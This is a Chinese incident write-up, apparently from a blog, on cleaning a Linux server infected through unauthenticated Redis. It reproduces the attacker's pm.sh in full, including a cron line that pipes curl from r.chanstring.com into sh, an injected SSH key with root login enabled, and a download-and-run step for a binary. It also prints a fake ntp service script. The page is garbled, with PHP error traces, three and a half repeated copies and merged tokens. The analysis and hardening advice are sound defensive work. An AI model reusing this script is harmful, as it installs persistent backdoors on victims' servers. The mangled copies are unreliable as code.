Error[8]: Undefined offset: 317, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 121
File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

redis非授权访问的查毒过程 排查及处理过程

9某天日晚,阿里云后台报告有一台服务器在异地登录的告警,初步怀疑是被***了,临时采取关闭这台服务器的方法避免对集群中的其他主机造成危害。

 

第二天,开始排查原因。

首先在服务器上发现一个额外的计划任务(下图是解决过程中被我注释掉了)

                             

联想到这个机器上跑有redis,基本断定是redis的未加密码导致的非授权访问。

 

根据以往经验,linux上的这个病毒通常是DDOS或者挖矿程序。下面来慢慢分析。

 

我们根据crontab里面的网址,我们到chrome里面输入这个链接下载下看下文件内容,(建议在虚拟机里 *** 作,防止这个文件是浏览器0day利用脚本)

下面是wget 下载到的pm.sh,内容如下:

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

 

echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/root

mkdir-p /var/spool/cron/crontabs

echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/crontabs/root

 

if[ ! -f "/root/.ssh/KHK75NEOiq" ]; then

    mkdir -p ~/.ssh

    rm -f ~/.ssh/authorized_keys*

    echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq

    echo "PermitRootLogin yes">> /etc/ssh/sshd_config

    echo "RSAAuthentication yes">> /etc/ssh/sshd_config

    echo "PubkeyAuthentication yes">> /etc/ssh/sshd_config

    echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

    /etc/init.d/sshd restart

fi

 

if[ ! -f "/etc/init.d/ntp" ]; then

    if [ ! -f"/etc/systemd/system/ntp.service" ]; then

       mkdir -p /opt

       curl -fsSL http://r.chanstring.com/v51/lady_`uname-m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33&& /opt/KHK75NEOiq33 -Install

    fi

fi

 

/etc/init.d/ntpstart

 

psauxf|grep -v grep|grep "/usr/bin/cron"|awk '{print }'|xargs kill -9

psauxf|grep -v grep|grep "/opt/cron"|awk '{print }'|xargs kill -9

 

根据这个脚本的内容,我们大致就知道他的作案手段了:

1、利用redis非授权***

2、下载脚本,写入crontab定时执行,确保病毒的再生。

3、修改服务器sshd登录为他自己的秘钥。

4、根据http://r.chanstring.com/v51/lady_`uname-m`  这样能根据系统版本来自动下载匹配当前版本的病毒,确保病毒的正常运行。将病毒释放到/opt目录下,文件名KHK75NEOiq33

5/opt/KHK75NEOiq33 -Install 这步 *** 作应该是释放出病毒文件(如下的ntp【hexdump -C /opt/KHK75NEOiq33 可以看到文件内容,但是好像是加密了。暂不具备反汇编能力,无法获知这个命令感染了哪些文件】

6、伪造ntp服务,给管理员造成迷惑,驻留后台。(Linux下是没有ntp服务的,有的是ntpd服务)

 

附发现的伪造的/etc/init.d/ntp文件内容:

#!/bin/sh

#For RedHat and cousins:

#chkconfig: - 99 01

#description: NTP daemon

#processname: /usr/sbin/ntp

 

###BEGIN INIT INFO

#Provides:          /usr/sbin/ntp

#Required-Start:

#Required-Stop:

#Default-Start:     2 3 4 5

#Default-Stop:      0 1 6

#Short-Description: NTP daemon

#Description:       NTP daemon

###END INIT INFO

 

cmd="/usr/sbin/ntp "-D""

# 正常的系统上不存在这个可执行程序,可以断定是/opt/KHK75NEOiq33-Install 释放出来的

# 将这个文件和/opt/KHK75NEOiq33 -Install 通过diff命令比对,发现是同一个文件。

 

 

name=$(basenamepid_file="/var/run/$name.pid")

stdout_log="/var/log/$name.log"

stderr_log="/var/log/$name.err"

 

get_pid(){

    cat "$pid_file"

}

 

is_running(){

    [ -f "$pid_file" ] &&/usr/sbin/ntp -Pid $(get_pid) > /dev/null 2>&1

}

 

case"" in

    start)

        if is_running; then

            echo "Already started"

        else

            echo "Starting $name"

           

            $cmd >>"$stdout_log" 2>> "$stderr_log" &

            echo $! > "$pid_file"

            if ! is_running; then

                echo "Unable to start, see$stdout_log and $stderr_log"

                exit 1

            fi

        fi

    ;;

    stop)

        if is_running; then

            echo -n "Stopping$name.."

            kill $(get_pid)

            for i in {1..10}

            do

                if ! is_running; then

                    break

                fi

                echo -n "."

                sleep 1

            done

            echo

            if is_running; then

                echo "Not stopped; maystill be shutting down or shutdown may have failed"

                exit 1

            else

                echo "Stopped"

                if [ -f "$pid_file"]; then

                    rm "$pid_file"

                fi

            fi

        else

            echo "Not running"

        fi

    ;;

    restart)

                if is_running; then stop

            echo "Unable to stop, will notattempt to start"

            exit 1

        fi

            ;; start

    status)

        if is_running; then

            echo "Running"

        else

            echo "Stopped"

            exit 1

        fi

    ;;

    *)

    echo "Usage:     exit 1{start|stop|restart|status}"

    ;;

esac

exit0

 

chkconfig--list|grep 3:on

可以看到

ntp

这个伪装的服务被设置为开机自启动了。

 解决方法:chkconfig ntp offchkconfig --del ntp


先拷贝出

ntp

这个启动脚本,然后

rm -f /etc/init.d/ntp

先拷贝出/usr/sbin/ntp /opt/KHK75NEOiq332

个病毒文件,然后rm -f /usr/sbin/ntp /opt/KHK75NEOiq33 删除病毒文件编辑 /var/spool/cron/crontabs/root /var/spool/cron/root

,清除植入的cron计划任务此外,还要检查以下几处:1、是否有新添加的账户 【grep '/bin/bash' /etc/passwd】2、查看其他可登陆的账户下是否也有恶意的计划任务3、检查是否有新添加了sudo账户


当然,这是台线上的服务器,为了防止还有残留的病毒文件,最好我们还是先备份下数据,然后重装了系统。

 

安全策略:



redis

做密码授权访问,不要绑定在

0.0.0.0:6379

step1

新安装的无问题的电脑MD5SUM保存下来,作为原始模板:

#!/bin/bash、首先在#上执行下面几条命令,将记录原始的执行文件的md5sum

 

if[[ ! -d /var/md5sum/ ]];then    mkdir /var/md5sum -pfi

 

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do

    find $i -maxdepth 1 -type f | xargs -n1 md5sum >>/var/md5sum/md5sum.log.ori

done

 

step2

、下面是我的

/home/scripts/chkmd5sum.sh

脚本,作用是检查相关目录的

md5sum是否发生变化。#!/bin/bash#需要配置计划任务定期执行这个脚本,比对md5sum

是否发生变化,变化则自动告警。

 if[[ ! -d /var/md5sum/ ]];then    mkdir /var/md5sum -pfi

 

rm-f /tmp/md5sum*

 

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do

    find $i -maxdepth 1 -type f | xargs -n1 md5sum >> /tmp/md5sum.log_`date+%F`

done

 

if! diff /tmp/md5sum.log_`date +%F` /var/md5sum/md5sum.log.ori > /tmp/md5sum_status ;then

    cat /tmp/md5sum_status |mail -s"Warning,Md5sum has changed." lirulei90@126.com

fi

rm-f /tmp/md5sum_status

 

step3

、添加定时任务,每天检查一遍,有变化就发送邮件告警(要求高的话,可以每天检查

2

次或更多)

echo'30 7 * * * /bin/bash /home/scripts/chkmd5sum.sh > /dev/null 2>&1'>> /var/spool/cron/root后续chinaz.com

查看下这个域名,结果也在预料之内,注册在国外,未备案。


                             

[+++][+++][+++]

[+++]


)
File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 165, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
Error[8]: Undefined offset: 318, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 121
File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

redis非授权访问的查毒过程 排查及处理过程

9某天日晚,阿里云后台报告有一台服务器在异地登录的告警,初步怀疑是被***了,临时采取关闭这台服务器的方法避免对集群中的其他主机造成危害。

 

第二天,开始排查原因。

首先在服务器上发现一个额外的计划任务(下图是解决过程中被我注释掉了)

                             

联想到这个机器上跑有redis,基本断定是redis的未加密码导致的非授权访问。

 

根据以往经验,linux上的这个病毒通常是DDOS或者挖矿程序。下面来慢慢分析。

 

我们根据crontab里面的网址,我们到chrome里面输入这个链接下载下看下文件内容,(建议在虚拟机里 *** 作,防止这个文件是浏览器0day利用脚本)

下面是wget 下载到的pm.sh,内容如下:

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

 

echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/root

mkdir-p /var/spool/cron/crontabs

echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/crontabs/root

 

if[ ! -f "/root/.ssh/KHK75NEOiq" ]; then

    mkdir -p ~/.ssh

    rm -f ~/.ssh/authorized_keys*

    echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq

    echo "PermitRootLogin yes">> /etc/ssh/sshd_config

    echo "RSAAuthentication yes">> /etc/ssh/sshd_config

    echo "PubkeyAuthentication yes">> /etc/ssh/sshd_config

    echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

    /etc/init.d/sshd restart

fi

 

if[ ! -f "/etc/init.d/ntp" ]; then

    if [ ! -f"/etc/systemd/system/ntp.service" ]; then

       mkdir -p /opt

       curl -fsSL http://r.chanstring.com/v51/lady_`uname-m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33&& /opt/KHK75NEOiq33 -Install

    fi

fi

 

/etc/init.d/ntpstart

 

psauxf|grep -v grep|grep "/usr/bin/cron"|awk '{print }'|xargs kill -9

psauxf|grep -v grep|grep "/opt/cron"|awk '{print }'|xargs kill -9

 

根据这个脚本的内容,我们大致就知道他的作案手段了:

1、利用redis非授权***

2、下载脚本,写入crontab定时执行,确保病毒的再生。

3、修改服务器sshd登录为他自己的秘钥。

4、根据http://r.chanstring.com/v51/lady_`uname-m`  这样能根据系统版本来自动下载匹配当前版本的病毒,确保病毒的正常运行。将病毒释放到/opt目录下,文件名KHK75NEOiq33

5/opt/KHK75NEOiq33 -Install 这步 *** 作应该是释放出病毒文件(如下的ntp【hexdump -C /opt/KHK75NEOiq33 可以看到文件内容,但是好像是加密了。暂不具备反汇编能力,无法获知这个命令感染了哪些文件】

6、伪造ntp服务,给管理员造成迷惑,驻留后台。(Linux下是没有ntp服务的,有的是ntpd服务)

 

附发现的伪造的/etc/init.d/ntp文件内容:

#!/bin/sh

#For RedHat and cousins:

#chkconfig: - 99 01

#description: NTP daemon

#processname: /usr/sbin/ntp

 

###BEGIN INIT INFO

#Provides:          /usr/sbin/ntp

#Required-Start:

#Required-Stop:

#Default-Start:     2 3 4 5

#Default-Stop:      0 1 6

#Short-Description: NTP daemon

#Description:       NTP daemon

###END INIT INFO

 

cmd="/usr/sbin/ntp "-D""

# 正常的系统上不存在这个可执行程序,可以断定是/opt/KHK75NEOiq33-Install 释放出来的

# 将这个文件和/opt/KHK75NEOiq33 -Install 通过diff命令比对,发现是同一个文件。

 

 

name=$(basenamepid_file="/var/run/$name.pid")

stdout_log="/var/log/$name.log"

stderr_log="/var/log/$name.err"

 

get_pid(){

    cat "$pid_file"

}

 

is_running(){

    [ -f "$pid_file" ] &&/usr/sbin/ntp -Pid $(get_pid) > /dev/null 2>&1

}

 

case"" in

    start)

        if is_running; then

            echo "Already started"

        else

            echo "Starting $name"

           

            $cmd >>"$stdout_log" 2>> "$stderr_log" &

            echo $! > "$pid_file"

            if ! is_running; then

                echo "Unable to start, see$stdout_log and $stderr_log"

                exit 1

            fi

        fi

    ;;

    stop)

        if is_running; then

            echo -n "Stopping$name.."

            kill $(get_pid)

            for i in {1..10}

            do

                if ! is_running; then

                    break

                fi

                echo -n "."

                sleep 1

            done

            echo

            if is_running; then

                echo "Not stopped; maystill be shutting down or shutdown may have failed"

                exit 1

            else

                echo "Stopped"

                if [ -f "$pid_file"]; then

                    rm "$pid_file"

                fi

            fi

        else

            echo "Not running"

        fi

    ;;

    restart)

                if is_running; then stop

            echo "Unable to stop, will notattempt to start"

            exit 1

        fi

            ;; start

    status)

        if is_running; then

            echo "Running"

        else

            echo "Stopped"

            exit 1

        fi

    ;;

    *)

    echo "Usage:     exit 1{start|stop|restart|status}"

    ;;

esac

exit0

 

chkconfig--list|grep 3:on

可以看到

ntp

这个伪装的服务被设置为开机自启动了。

 解决方法:chkconfig ntp offchkconfig --del ntp


先拷贝出

ntp

这个启动脚本,然后

rm -f /etc/init.d/ntp

先拷贝出/usr/sbin/ntp /opt/KHK75NEOiq332

个病毒文件,然后rm -f /usr/sbin/ntp /opt/KHK75NEOiq33 删除病毒文件编辑 /var/spool/cron/crontabs/root /var/spool/cron/root

,清除植入的cron计划任务此外,还要检查以下几处:1、是否有新添加的账户 【grep '/bin/bash' /etc/passwd】2、查看其他可登陆的账户下是否也有恶意的计划任务3、检查是否有新添加了sudo账户


当然,这是台线上的服务器,为了防止还有残留的病毒文件,最好我们还是先备份下数据,然后重装了系统。

 

安全策略:



redis

做密码授权访问,不要绑定在

0.0.0.0:6379

step1

新安装的无问题的电脑MD5SUM保存下来,作为原始模板:

#!/bin/bash、首先在#上执行下面几条命令,将记录原始的执行文件的md5sum

 

if[[ ! -d /var/md5sum/ ]];then    mkdir /var/md5sum -pfi

 

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do

    find $i -maxdepth 1 -type f | xargs -n1 md5sum >>/var/md5sum/md5sum.log.ori

done

 

step2

、下面是我的

/home/scripts/chkmd5sum.sh

脚本,作用是检查相关目录的

md5sum是否发生变化。#!/bin/bash#需要配置计划任务定期执行这个脚本,比对md5sum

是否发生变化,变化则自动告警。

 if[[ ! -d /var/md5sum/ ]];then    mkdir /var/md5sum -pfi

 

rm-f /tmp/md5sum*

 

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do

    find $i -maxdepth 1 -type f | xargs -n1 md5sum >> /tmp/md5sum.log_`date+%F`

done

 

if! diff /tmp/md5sum.log_`date +%F` /var/md5sum/md5sum.log.ori > /tmp/md5sum_status ;then

    cat /tmp/md5sum_status |mail -s"Warning,Md5sum has changed." lirulei90@126.com

fi

rm-f /tmp/md5sum_status

 

step3

、添加定时任务,每天检查一遍,有变化就发送邮件告警(要求高的话,可以每天检查

2

次或更多)

echo'30 7 * * * /bin/bash /home/scripts/chkmd5sum.sh > /dev/null 2>&1'>> /var/spool/cron/root后续chinaz.com

查看下这个域名,结果也在预料之内,注册在国外,未备案。


                             

[+++][+++]

[+++]


)
File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 165, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
Error[8]: Undefined offset: 319, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 121
File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

redis非授权访问的查毒过程 排查及处理过程

9某天日晚,阿里云后台报告有一台服务器在异地登录的告警,初步怀疑是被***了,临时采取关闭这台服务器的方法避免对集群中的其他主机造成危害。

 

第二天,开始排查原因。

首先在服务器上发现一个额外的计划任务(下图是解决过程中被我注释掉了)

                             

联想到这个机器上跑有redis,基本断定是redis的未加密码导致的非授权访问。

 

根据以往经验,linux上的这个病毒通常是DDOS或者挖矿程序。下面来慢慢分析。

 

我们根据crontab里面的网址,我们到chrome里面输入这个链接下载下看下文件内容,(建议在虚拟机里 *** 作,防止这个文件是浏览器0day利用脚本)

下面是wget 下载到的pm.sh,内容如下:

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

 

echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/root

mkdir-p /var/spool/cron/crontabs

echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/crontabs/root

 

if[ ! -f "/root/.ssh/KHK75NEOiq" ]; then

    mkdir -p ~/.ssh

    rm -f ~/.ssh/authorized_keys*

    echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq

    echo "PermitRootLogin yes">> /etc/ssh/sshd_config

    echo "RSAAuthentication yes">> /etc/ssh/sshd_config

    echo "PubkeyAuthentication yes">> /etc/ssh/sshd_config

    echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

    /etc/init.d/sshd restart

fi

 

if[ ! -f "/etc/init.d/ntp" ]; then

    if [ ! -f"/etc/systemd/system/ntp.service" ]; then

       mkdir -p /opt

       curl -fsSL http://r.chanstring.com/v51/lady_`uname-m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33&& /opt/KHK75NEOiq33 -Install

    fi

fi

 

/etc/init.d/ntpstart

 

psauxf|grep -v grep|grep "/usr/bin/cron"|awk '{print }'|xargs kill -9

psauxf|grep -v grep|grep "/opt/cron"|awk '{print }'|xargs kill -9

 

根据这个脚本的内容,我们大致就知道他的作案手段了:

1、利用redis非授权***

2、下载脚本,写入crontab定时执行,确保病毒的再生。

3、修改服务器sshd登录为他自己的秘钥。

4、根据http://r.chanstring.com/v51/lady_`uname-m`  这样能根据系统版本来自动下载匹配当前版本的病毒,确保病毒的正常运行。将病毒释放到/opt目录下,文件名KHK75NEOiq33

5/opt/KHK75NEOiq33 -Install 这步 *** 作应该是释放出病毒文件(如下的ntp【hexdump -C /opt/KHK75NEOiq33 可以看到文件内容,但是好像是加密了。暂不具备反汇编能力,无法获知这个命令感染了哪些文件】

6、伪造ntp服务,给管理员造成迷惑,驻留后台。(Linux下是没有ntp服务的,有的是ntpd服务)

 

附发现的伪造的/etc/init.d/ntp文件内容:

#!/bin/sh

#For RedHat and cousins:

#chkconfig: - 99 01

#description: NTP daemon

#processname: /usr/sbin/ntp

 

###BEGIN INIT INFO

#Provides:          /usr/sbin/ntp

#Required-Start:

#Required-Stop:

#Default-Start:     2 3 4 5

#Default-Stop:      0 1 6

#Short-Description: NTP daemon

#Description:       NTP daemon

###END INIT INFO

 

cmd="/usr/sbin/ntp "-D""

# 正常的系统上不存在这个可执行程序,可以断定是/opt/KHK75NEOiq33-Install 释放出来的

# 将这个文件和/opt/KHK75NEOiq33 -Install 通过diff命令比对,发现是同一个文件。

 

 

name=$(basenamepid_file="/var/run/$name.pid")

stdout_log="/var/log/$name.log"

stderr_log="/var/log/$name.err"

 

get_pid(){

    cat "$pid_file"

}

 

is_running(){

    [ -f "$pid_file" ] &&/usr/sbin/ntp -Pid $(get_pid) > /dev/null 2>&1

}

 

case"" in

    start)

        if is_running; then

            echo "Already started"

        else

            echo "Starting $name"

           

            $cmd >>"$stdout_log" 2>> "$stderr_log" &

            echo $! > "$pid_file"

            if ! is_running; then

                echo "Unable to start, see$stdout_log and $stderr_log"

                exit 1

            fi

        fi

    ;;

    stop)

        if is_running; then

            echo -n "Stopping$name.."

            kill $(get_pid)

            for i in {1..10}

            do

                if ! is_running; then

                    break

                fi

                echo -n "."

                sleep 1

            done

            echo

            if is_running; then

                echo "Not stopped; maystill be shutting down or shutdown may have failed"

                exit 1

            else

                echo "Stopped"

                if [ -f "$pid_file"]; then

                    rm "$pid_file"

                fi

            fi

        else

            echo "Not running"

        fi

    ;;

    restart)

                if is_running; then stop

            echo "Unable to stop, will notattempt to start"

            exit 1

        fi

            ;; start

    status)

        if is_running; then

            echo "Running"

        else

            echo "Stopped"

            exit 1

        fi

    ;;

    *)

    echo "Usage:     exit 1{start|stop|restart|status}"

    ;;

esac

exit0

 

chkconfig--list|grep 3:on

可以看到

ntp

这个伪装的服务被设置为开机自启动了。

 解决方法:chkconfig ntp offchkconfig --del ntp


先拷贝出

ntp

这个启动脚本,然后

rm -f /etc/init.d/ntp

先拷贝出/usr/sbin/ntp /opt/KHK75NEOiq332

个病毒文件,然后rm -f /usr/sbin/ntp /opt/KHK75NEOiq33 删除病毒文件编辑 /var/spool/cron/crontabs/root /var/spool/cron/root

,清除植入的cron计划任务此外,还要检查以下几处:1、是否有新添加的账户 【grep '/bin/bash' /etc/passwd】2、查看其他可登陆的账户下是否也有恶意的计划任务3、检查是否有新添加了sudo账户


当然,这是台线上的服务器,为了防止还有残留的病毒文件,最好我们还是先备份下数据,然后重装了系统。

 

安全策略:



redis

做密码授权访问,不要绑定在

0.0.0.0:6379

step1

新安装的无问题的电脑MD5SUM保存下来,作为原始模板:

#!/bin/bash、首先在#上执行下面几条命令,将记录原始的执行文件的md5sum

 

if[[ ! -d /var/md5sum/ ]];then    mkdir /var/md5sum -pfi

 

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do

    find $i -maxdepth 1 -type f | xargs -n1 md5sum >>/var/md5sum/md5sum.log.ori

done

 

step2

、下面是我的

/home/scripts/chkmd5sum.sh

脚本,作用是检查相关目录的

md5sum是否发生变化。#!/bin/bash#需要配置计划任务定期执行这个脚本,比对md5sum

是否发生变化,变化则自动告警。

 if[[ ! -d /var/md5sum/ ]];then    mkdir /var/md5sum -pfi

 

rm-f /tmp/md5sum*

 

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do

    find $i -maxdepth 1 -type f | xargs -n1 md5sum >> /tmp/md5sum.log_`date+%F`

done

 

if! diff /tmp/md5sum.log_`date +%F` /var/md5sum/md5sum.log.ori > /tmp/md5sum_status ;then

    cat /tmp/md5sum_status |mail -s"Warning,Md5sum has changed." lirulei90@126.com

fi

rm-f /tmp/md5sum_status

 

step3

、添加定时任务,每天检查一遍,有变化就发送邮件告警(要求高的话,可以每天检查

2

次或更多)

echo'30 7 * * * /bin/bash /home/scripts/chkmd5sum.sh > /dev/null 2>&1'>> /var/spool/cron/root后续chinaz.com

查看下这个域名,结果也在预料之内,注册在国外,未备案。


                             

[+++]

[+++]


)
File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 165, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
Error[8]: Undefined offset: 320, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 121
File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

redis非授权访问的查毒过程 排查及处理过程

9某天日晚,阿里云后台报告有一台服务器在异地登录的告警,初步怀疑是被***了,临时采取关闭这台服务器的方法避免对集群中的其他主机造成危害。

 

第二天,开始排查原因。

首先在服务器上发现一个额外的计划任务(下图是解决过程中被我注释掉了)

                             

联想到这个机器上跑有redis,基本断定是redis的未加密码导致的非授权访问。

 

根据以往经验,linux上的这个病毒通常是DDOS或者挖矿程序。下面来慢慢分析。

 

我们根据crontab里面的网址,我们到chrome里面输入这个链接下载下看下文件内容,(建议在虚拟机里 *** 作,防止这个文件是浏览器0day利用脚本)

下面是wget 下载到的pm.sh,内容如下:

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

 

echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/root

mkdir-p /var/spool/cron/crontabs

echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/crontabs/root

 

if[ ! -f "/root/.ssh/KHK75NEOiq" ]; then

    mkdir -p ~/.ssh

    rm -f ~/.ssh/authorized_keys*

    echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq

    echo "PermitRootLogin yes">> /etc/ssh/sshd_config

    echo "RSAAuthentication yes">> /etc/ssh/sshd_config

    echo "PubkeyAuthentication yes">> /etc/ssh/sshd_config

    echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

    /etc/init.d/sshd restart

fi

 

if[ ! -f "/etc/init.d/ntp" ]; then

    if [ ! -f"/etc/systemd/system/ntp.service" ]; then

       mkdir -p /opt

       curl -fsSL http://r.chanstring.com/v51/lady_`uname-m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33&& /opt/KHK75NEOiq33 -Install

    fi

fi

 

/etc/init.d/ntpstart

 

psauxf|grep -v grep|grep "/usr/bin/cron"|awk '{print }'|xargs kill -9

psauxf|grep -v grep|grep "/opt/cron"|awk '{print }'|xargs kill -9

 

根据这个脚本的内容,我们大致就知道他的作案手段了:

1、利用redis非授权***

2、下载脚本,写入crontab定时执行,确保病毒的再生。

3、修改服务器sshd登录为他自己的秘钥。

4、根据http://r.chanstring.com/v51/lady_`uname-m`  这样能根据系统版本来自动下载匹配当前版本的病毒,确保病毒的正常运行。将病毒释放到/opt目录下,文件名KHK75NEOiq33

5/opt/KHK75NEOiq33 -Install 这步 *** 作应该是释放出病毒文件(如下的ntp【hexdump -C /opt/KHK75NEOiq33 可以看到文件内容,但是好像是加密了。暂不具备反汇编能力,无法获知这个命令感染了哪些文件】

6、伪造ntp服务,给管理员造成迷惑,驻留后台。(Linux下是没有ntp服务的,有的是ntpd服务)

 

附发现的伪造的/etc/init.d/ntp文件内容:

#!/bin/sh

#For RedHat and cousins:

#chkconfig: - 99 01

#description: NTP daemon

#processname: /usr/sbin/ntp

 

###BEGIN INIT INFO

#Provides:          /usr/sbin/ntp

#Required-Start:

#Required-Stop:

#Default-Start:     2 3 4 5

#Default-Stop:      0 1 6

#Short-Description: NTP daemon

#Description:       NTP daemon

###END INIT INFO

 

cmd="/usr/sbin/ntp "-D""

# 正常的系统上不存在这个可执行程序,可以断定是/opt/KHK75NEOiq33-Install 释放出来的

# 将这个文件和/opt/KHK75NEOiq33 -Install 通过diff命令比对,发现是同一个文件。

 

 

name=$(basenamepid_file="/var/run/$name.pid")

stdout_log="/var/log/$name.log"

stderr_log="/var/log/$name.err"

 

get_pid(){

    cat "$pid_file"

}

 

is_running(){

    [ -f "$pid_file" ] &&/usr/sbin/ntp -Pid $(get_pid) > /dev/null 2>&1

}

 

case"" in

    start)

        if is_running; then

            echo "Already started"

        else

            echo "Starting $name"

           

            $cmd >>"$stdout_log" 2>> "$stderr_log" &

            echo $! > "$pid_file"

            if ! is_running; then

                echo "Unable to start, see$stdout_log and $stderr_log"

                exit 1

            fi

        fi

    ;;

    stop)

        if is_running; then

            echo -n "Stopping$name.."

            kill $(get_pid)

            for i in {1..10}

            do

                if ! is_running; then

                    break

                fi

                echo -n "."

                sleep 1

            done

            echo

            if is_running; then

                echo "Not stopped; maystill be shutting down or shutdown may have failed"

                exit 1

            else

                echo "Stopped"

                if [ -f "$pid_file"]; then

                    rm "$pid_file"

                fi

            fi

        else

            echo "Not running"

        fi

    ;;

    restart)

